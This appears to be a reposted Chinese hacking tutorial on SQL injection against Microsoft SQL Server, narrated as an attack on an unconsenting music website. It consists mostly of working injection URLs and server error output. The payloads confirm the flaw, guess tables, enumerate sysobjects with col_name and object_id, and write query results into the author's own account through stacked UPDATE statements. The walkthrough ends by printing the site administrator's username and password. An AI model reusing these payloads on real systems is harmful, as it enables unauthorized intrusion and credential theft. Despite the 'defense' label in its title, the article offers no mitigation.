有孔就入 SQL Injection的深化探究[MSSQL防范]
本文“有孔就入 SQL Injection的深化探究[MSSQL防范]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在评论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所操纵的也是很多出名的程序,比方动网,尘缘雅境,而我们也可以拿到免费的程序来看此中的漏洞和数据库的构造,从中来到达注入的目的,不过假如是别人自己写的程序,那么我们就不知道他的源代码,更不知道他的数据库构造(数据表名和此中的字段名),就算有个变量未过滤提交到数据库去,我们也是无从对其下手的,只能操纵通过猜解他的数据库构造来构造呼应的SQL语句,那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇文章对研究SQL Injection朋友来说,应当会有所启迪.
1、发现漏洞,通例注入
近来帮我们的站增添音乐,固然本地的电信的音乐资源库非常丰富,但是贫乏有关歌手和专辑的资料,所以到网上去闲逛找点有效的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还是对比丰富的,拷贝的同时顺手在他的Specialid=1817背面加了一个(单引号),我忽然眼前一亮:
Microsoft OLE DB Provider for sql server 错误 80040e14
字符串 之前有未闭合的引号.
/showspecial.ASP,行13
Specialid没有过滤掉单引号就直接用到SQL语句中去了,并且是SQL SERVER版本的,漏洞的可操纵性极大,可不能就此放过这么好的练兵机会,接着换;(分号)提交进去,竟然页面正常出来了,阐明该变量也没有过滤掉;号,到这里,我们便可以对此举行SQL浸透了,按照通例的步骤:
1、提交http://********/showspecial.asp?Specialid=1817;use master;--
注:--的作用是注释掉程序中背面的SQL语句,以防对我们构造的语句有影响,比方order by..
呈现
Microsoft OLE DB Provider for SQL Server 错误 80040e21
多步 OLE DB 操作产生错误.假如大概,请查抄每个 OLE DB 状况值.没有工作被完成.
/showspecial.asp,行13
想在他的数据库里增添一个管理员是不大概了,我们再换一种办法
2、提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from [user])
这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段
普通来说:
假如不存在该表的话,会呈现
Microsoft OLE DB Provider for SQL Server 错误 80040e37
对象名 user 无效.
/showspecial.asp,行13
不存在该字段的话,会呈现
Microsoft OLE DB Provider for SQL Server 错误 80040e14
列名 id 无效.
/showspecial.asp,行13
注:普通来说,第一步是猜一些大众的表,这里所指的大众表的意思是大大都的程序员在写计划数据库构造的时刻会用到的常用的表和字段,比方新闻的news表中的编号字段id,标题字段title,用户表user大概user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码,找到用户名和密码的表单的name值,那个也常常会是表字段名的真实值,如<INPUT type=text name=username size=15>
很幸运,公然存在user表和id字段
3、通过提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username) from [user])
这里的username是按照登陆框的表单名去猜的,刚好存在该字段.于是在该站注册了一个用户名为rrrrr的用户,作为注入的平台,得到我的用户名的id值103534
4、持续猜下去,这里我还是操纵的他程序中的表单名,提交:
http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])
也存在,好了,到这里,我们的平台已经搭建好了.
[1] [2] [3] 下一页
2、深化研究,让SQL自己招数据库构造
很多时刻,我们只能猜到大家对比熟用的表名,假如是非原程序公开下载的,我们很猜到他的真实数据库构造,有时刻猜半天都猜不到,令人很忧郁,那么该若何拿到他的表构造呢?我们知道SQL SERVER的每一个数据库城市有效户表和系统表,按照SQL SERVER的联机帮忙描写是系统表sysobjects:在数据库内成立的每个对象(约束、默许值、日记、法则、存储历程等)在表中占一行,那么也就是说当前数据库的表名城市在该表内有存在,(对象名 admin 无效.大家可以看到上面呈现的报错把表名描写成对象).
我们要用的是此中的3个,描写以下(具体的见SQL SERVER的联机帮忙):
name 数据表的名字
xtype 数据表的范例 u为用户表
id 数据表的对象标志
status 保存字段,用户表普通都是大于0的
在查询解析器履行以下SQL语句(以我本地的数据库为例子)
select top 1 name from sysobjects where xtype=u and status>0
我们即刻便可以得到该数据库下用户表的第一个表名gallery
select top 1 id from sysobjects where xtype=u and name=gallery
我们即刻便可以得到该数据库下用户表的第一个表名gallery的对象标志2099048
select top 1 name from sysobjects where xtype=u and id>2099048
再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是按照由小到大布列的.
以此类推,我们可以得到全部的用户表的名字了
接下来,我们要按照得到的表名取他的字段名,这里我们用到的是系统自带的2个函数col_name()和object_id(),在查询解析器履行以下SQL语句(以我本地的数据库为例子):
select top 1 col_name(object_id(gallery),1) from gallery
得到gallery表的第一个字段名为id.
注:
col_name()的语法
COL_NAME ( table_id , column_id )
参数
table_id:包含数据库列的表的标识号.table_id 属于 int 范例.
column_id:列的标识号.column_id 参数属于 int 范例.
此中我们用object_id()函数来得到该表的标识号,1、2、3..表示该表的第1个、第2个、第3个..字段的标识号
以此类推得到该表全部的字段名称
上一页 [1] [2] [3] 下一页
3、再次浸透攻击
经过上面2步的热身,接下来我们该操纵成立好的平台实际操作演练一下了
仍然是那个页,我们提交
http://******/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--
服务器返回
ADODB.Recordset 错误 800a0cb3
当前记录集不支持更新.这大概是供应程序的限制,也大概是选定锁定范例的限制.
/showspecial.asp,行19
出师不利,大概该页记录集翻开方法是只读,我们再换一个页
找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid一样存在问题,于是提交
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--
把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id from sysobjects where xtype=u and name=lmuser) where id=103534;--
得到第一个表lmuser的id标识号为:363148339
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;--
得到第二个表名为:ad.这里我们操纵的是数据表的对象标志id是升序布列的特点,以此类推持续取……(由于篇幅问题,中间省略n步),最后我们得到了全部的表名,发现此中有个表admin,哈,极大概就是管理员的列表了.
好,接下来我们就取该表的字段名
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),1) from admin) where id=103534;--
得到第1个字段为:id
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),2) from admin) where id=103534;--
得到第2个字段为:username
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),3) from admin) where id=103534;--
得到第2个字段为:password
到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就对比省力了,首先拿管理员的id值,这个对比简单,我就不再具体说了.
我们拿到的id值是44
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 username from admin where id=44) where id=103534;--
将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 password from admin where id=44) where id=103534;--
将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ
怎么样,拿到密码了吧?
4、总结
在我们对一个不知道原代码的有SQL Iinjection漏洞的程序举行注入的时刻,常常很难猜到作者设置的数据库构造,只能通过编写程序时的经验来猜几个对比常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到构造而放弃,这时刻大家无妨试试这个办法,大概对你有所帮忙,这里我们通过更新我们的一个注册用户的信息来拿到后果,假如是新闻系统的话,可以通过更新到某个新闻的title来拿后果.
最后,值得提出的是,请大家不要拿该办法去恶意攻击其他的程序,谢谢!
上一页 [1] [2] [3]
以上是“有孔就入 SQL Injection的深化探究[MSSQL防范]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |